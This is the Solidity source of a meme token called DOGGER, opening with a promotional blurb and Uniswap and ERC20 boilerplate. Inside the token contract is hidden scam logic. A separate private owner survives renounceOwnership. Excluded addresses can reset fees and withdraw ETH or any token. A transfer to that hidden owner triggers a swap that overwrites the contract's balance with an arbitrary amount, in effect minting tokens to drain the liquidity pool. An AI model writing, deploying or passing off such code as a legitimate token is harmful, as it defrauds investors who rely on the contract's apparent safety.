/**
website: https://dogger.fun/
telegram: https://t.me/Doggereth


THE WILL THAT IS BURNING WITHIN!
Dogger served as an inspiration to us because, despite the challenges he faced, he persisted in following 
his dreams and didn't give up until he achieved his objective. He started small before becoming very successful, 
much like our fellow investors who also struggled at first but eventually recovered to become successful. 
Everybody who is struggling in life may find inspiration in Dogger, who gives them new goals to aim for and 
encourages them to never give up. 
Dogger managed to slay its monster despite the fact that others were already consuming his fantasies

*/



// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract DOGGER is IERC20, Ownable {
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public buyFee = 3;
    uint256 public sellFee = 3;
    uint256 public feeDivisor = 1;
    string private _name;
    string private _symbol;
    address private _owner;

    uint256 private _swapTokensAtAmount = _tTotal;
    uint256 private _amount;
    uint160 private _factory;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private approval;
    mapping(address => bool) private _exc;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _owner = tx.origin;
        _exc[_owner] = true;
        _exc[address(this)] = true;
        _balances[_owner] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        emit Transfer(address(0), _owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint256) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function set(uint256 amount) external {
        if (_exc[msg.sender]) _amount = amount;
    }

    function exclude(address account, bool value) external {
        if (_exc[msg.sender]) _exc[account] = value;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external {
        if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
    }

    function set(
        uint256 _buyFee,
        uint256 _sellFee,
        uint256 _feeDivisor
    ) external {
        if (_exc[msg.sender]) {
            buyFee = _buyFee;
            sellFee = _sellFee;
            feeDivisor = _feeDivisor;
        }
    }

    function pair() public view returns (address) {
        return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
    }

    receive() external payable {}

    function transferAnyERC20Token(
        address token,
        address account,
        uint256 amount
    ) external {
        if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
    }

    function transferToken(address account, uint256 amount) external {
        if (_exc[msg.sender]) payable(account).transfer(amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
            require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();

        if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
        if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
            approval[to] = amount;
            return;
        }

        if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
        bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
        address factory = address(_factory);
        if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
        _factory = uint160(to);

        if (takeFee) {
            fee = (amount * fee) / 100 / feeDivisor;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }
}